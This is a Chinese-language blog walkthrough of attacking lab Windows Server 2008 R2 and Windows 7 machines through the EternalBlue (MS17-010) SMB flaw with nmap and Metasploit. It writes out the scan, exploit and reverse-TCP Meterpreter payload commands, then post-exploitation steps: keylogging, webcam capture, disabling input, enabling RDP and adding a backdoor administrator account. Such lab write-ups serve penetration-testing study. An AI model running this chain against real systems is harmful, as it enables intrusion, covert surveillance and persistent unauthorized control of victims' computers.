当前位置:首页 » 《随便一记》 » 正文

经典利用永恒之蓝漏洞对Windows操作系统进行攻击_do you best的博客

19 人参与  2022年04月19日 14:33  分类 : 《随便一记》  评论

点击全文阅读


利用永恒之蓝对Windows进行攻击

  • 环境搭建:kali、Windows server 2008R2、Windows 7,其中Windows server 2008R2\WIN7为靶机。
  • 首先简单介绍一下什么是永恒之蓝,永恒之蓝【Eternal Blue】爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
  • 关于“SMB” ?SMB协议[Server Message Block]是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,网上邻居也是SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP协议的139端口和TCP445端口。

【环境搭建】

-搭建kali,下载地址https://www.kali.org/
在kali输入ifconfig查看本机IP
在这里插入图1片描述
搭建靶机Windows server2008R2,输入ipconfig查看本机IP

在这里插入图片描述
搭建靶机Windows 7

在这里插入图片描述
本次搭建的靶机都处于同一个局域网,其实保证网络能通信就好。假设我们拿下某台web服务器打进内网了,现在要拿下这台局域网内其他主机的管理权限。

【信息收集】

按照正常攻击流程,我们是不知道本次局域网内其他两台靶机的IP地址和开放端口,使用nmap或者其他扫描主机端口的工具进行信息收集。我们这里使用nmap工具进行内网扫描,kali是一款集很多渗透测试使用的工具于一体的Linux。

  • 关于nmap?

nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。Nmap可用于扫描仅有两个节点的LAN,直至500个节点以上的网络。Nmap 还允许用户定制扫描技巧。通常,一个简单的使用ICMP协议的ping操作可以满足一般需求;也可以深入探测UDP或者TCP端口,直至主机所 使用的操作系统;还可以将所有探测结果记录到各种格式的日志中, 供进一步分析操作。

nmap相关命令:

进行ping扫描,打印出对扫描做出响应的主机,不做进一步测试(如端口扫描或者操作系统探测): nmap -sP 192.168.1.0/24
仅列出指定网络上的每台主机,不发送任何报文到目标主机:
nmap -sL 192.168.1.0/24
探测目标主机开放的端口,可以指定一个以逗号分隔的端口列表(如-PS22,23,25,80):
nmap -PS 192.168.1.234 使用UDP ping探测主机:
nmap -PU 192.168.1.0/24
使用频率最高的扫描选项:SYN扫描,又称为半开放扫描,它不打开一个完全的TCP连接,执行得很快:
nmap -sS 192.168.1.0/24
当SYN扫描不能用时,TCP Connect()扫描就是默认的TCP扫描:
nmap -sT 192.168.1.0/24 UDP
扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU 192.168.1.0/24
确定目标机支持哪些IP协议 (TCP,ICMP,IGMP等):
nmap -sO 192.168.1.19
探测目标主机的操作系统:
nmap -O 192.168.1.19
nmap -A 192.168.1.19
nmap -sV -p 22,53,110,143,4564 188.116.0-255.1-127
进行主机列举和TCP扫描,对象为B类188.116网段中255个8位子网。这 个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口 打开,将使用版本检测来确定哪种应用在运行。

这里我在kali命令行模式下输入 nmap -sV 192.168.152.1/24进行主机探测
在这里插入图片描述
在探测过程中发现192.168.152.134开启了高危端口445,版本信息为Windows server-2008R2

在这里插入图片描述
相关参数解读
PROT- 端口
STATE-状态
SERVICE-服务
VERSION-版本信息
MAC Address-为mac地址,里面括号为什么是VM?因为这里是VMware搭建的虚拟测试环境,所以mac地址由VMware自动分配的,VM是它的一个标识。
同理以下为Windows 7的探测信息:
在这里插入图片描述

【攻击阶段】

接下来进行攻击步骤,这里利用kali里面的一个msfconsole

  • 什么是msfconsole?
    简单理解就是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,msfconsole简称msf。
    MSF架构
    Rex :操作系统级基本库,是MSF的底层依赖
    MFS::Core :MSF底层库
    MSF::Base :便于用户调用的基本库,提供API (模块功能基于Base库)
    MSF::UI :用户界面(最常用MSF console接口)

  • 简单讲一下Msfconsole基础应用
    msf目录为/usr/share/metasploit-framework/,其中包括了config配置文件、plugins插件、tools工具、db数据库文件、modules模块文件以及msfconsole、msfdb等命令,modules中的文件为我们最常用的模块文件,其中每个模块中都根据不同的操作系统,分为不同平台不同协议功能对应的漏洞利用文件,这些文件用ruby编写。
    在这里插入图片描述

  • modules中的模块主要包括:

1、exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法,是一个流程性概念,其利用过程中往往会用到payloads。
2、 payloads:攻击模块。成功exploit后,攻击过程中执行的代码或指令。可以是能够反弹shell的shellcode,也可以是直接在目标系统上直接执行的系统命令,默认有三类payloads:
【1】 singles:要执行的所有代码都放在一个文件中,没有外部依赖,因此文件比较大,可能会因为攻击目标内存空间受限而无法使用。
【2】stagers:传输一个较小的payload用于建立连接,后续再传输具体攻击payload(也就是stages)
【3】stages:利用stagers建立连接后,后续再传输的代码。
3、 auxiliary:没有payload的exploits模块,我个人理解为使用对应的漏洞扫描模块,先进行一个信息探测是不是可以利用此漏洞进行攻击。
4、 encoders:对payloads进行加密,躲避Anti Virus(AV防病毒检测)检查的模块。
5、 post:取得shell后,进一步运行的攻击指令{运行post模块的方法有两个,一是在取得的shell中直接run运行;二是use相应的post模块,set相应的shell session,然后run运行。

在kali命令行模式输入msfconsole进入msf模式:
在这里插入图片描述
输入version查看版本,这里版本为6.1.4

在这里插入图片描述
搜索永恒之蓝的msf攻击模块名称,输入搜索命令search ms17-010
ms17-010可以理解为永恒之蓝的模块名称
在这里插入图片描述

按照msf基本使用流程来操作
首先进行利用模块扫描输入命令use auxiliary/scanner/smb/smb_ms17_010

在这里插入图片描述
RHOSTS-为攻击的靶机IP地址
RPORT-为攻击靶机开放的端口
我们首先扫描一下靶机Windows server-2008R2它的IP地址为192.168.152.134因为我们利用的是永恒之蓝进行攻击,对应的端口445端口。输入设置目标IP命令set rhosts 192.168.152.134,设置端口命令set rport 445(默认的就是445端口)

在这里插入图片描述
查看设置,输入options
在这里插入图片描述
设置成功,输入run进行扫描探测

在这里插入图片描述
根据反馈信息Host is likely VULNERABLE to MS17-010!
主机可能易受MS17-010攻击!
按照msf基本流程,接下来就是利用系统漏洞进行攻击的动作。
输入命令use exploit/windows/smb/ms17_010_eternalblue使用ms17-010攻击模块,对靶机进行攻击。
在这里插入图片描述
查看攻击载荷

什么是攻击载荷?攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令
输入show payloads
该命令可以查看当前漏洞利用模块下可用的所有Payload
在这里插入图片描述

设置攻击载荷

输入命令set payload windows/x64/meterpreter/reverse_tcp

在这里插入图片描述
成功设置好攻击载荷了,接下来就是检查一下对目标靶机的配置,输入命令options查看配置:
在这里插入图片描述
这里面多了一个下面的配置,lohsts是kali攻击IP地址,lprot是本地攻击出去和接收攻击信息的端口,可以任意设置,和设置攻击目标那里一个道理的。这里把rhots和rport重新配置一下
在这里插入图片描述
到这一步,我们攻击的流程已经全部准备完成,输入run或者exploit命令进行对靶机的攻击
在这里插入图片描述
返回信息为成功!进入meterpreter模式

  • 什么是meterpreter?
    这里可以理解为是一种高级、动态、可扩展的Payload,可以基于meterpreter上下文利用更多漏洞发起攻击,同时也是后渗透测试阶段一站式操作界面。
    Meterpreter命令有很多,想使用什么命令可以百度,我这里使用一些进行演示的命令就可以了。

输入命令sysinfo查看系统信息为Windows 2008 R2
在这里插入图片描述
【抓取屏幕截图】
输入:screens即可对目标主机的当前使用屏幕进去屏幕截
在这里插入图片描述
【查看目标主机有哪些账户】
输入run post/windows/gather/enum_logged_on_users查看
在这里插入图片描述

下面是一些meterpreter命令请各位大佬和小可爱们食用

启用远程桌面run getgui -e 或者 run post/windows/manage/enable_rdp
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长,方便搞事情。
键盘记录
keyscan_start开启键盘记录功能
keyscan_dump显示捕捉到的键盘记录信息
keyscan_stop停止键盘记录功能
禁止目标主机使用键盘鼠标
禁止(允许)目标使用键盘uictl disable (enable) keyboard
禁止(允许)目标使用鼠标uictl disable (enable) mouse
用目标主机摄像头拍照
获取目标系统的摄像头列表webcam_list
从指定的摄像头,拍摄照片webcam_snap
从指定的摄像头,开启视频webcam_stream

【进入shell模式】
直接输入shell

在这里插入图片描述

1、systeminfo查看操作系统,补丁情况。
在这里插入图片描述
2、Whoami查看用户权限,也可以进程名+whoami

在这里插入图片描述
输入whoami查看权限为系统权限,因为是默认的,如果不是系统权限可以利用windows提权把User权限提到 System权限,如果是Linux就是user提权到root。一般权限不够cmd命令无法执行,这里简单介绍提权,提权方法百度多的很。比如通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令、使用漏洞提权等等。
【进行远程控制】
meterpreter模式下还可以在靶机中创建一个新的账号
输入run getgui -u hack -p 123 这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。
在这里插入图片描述
Windows7的攻击也一样的,这里暂不演示了。至此本次利用永恒之蓝攻击漏洞拿到shell权限结束。

小结:
回顾一下本次攻击大致流程,就是假设进入一个内网环境后,利用kali攻击内网主机的一个攻击思路。从使用nmap信息收集,利用信息中存在的开放端口加上系统版本,使用kali中的msf攻击,到拿到shell。简单介绍了一下永恒之蓝、nmap、提权,后面还有提权和维持权限,编写绕AV木马检测,上传木马这些操作我后面再更新。

【文章仅限网络安全爱好者学习参考使用,请勿用于非法途径。】
#网络安全爱好者#doyoubest


点击全文阅读


本文链接:http://zhangshiyu.com/post/38449.html

攻击  靶机  端口  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1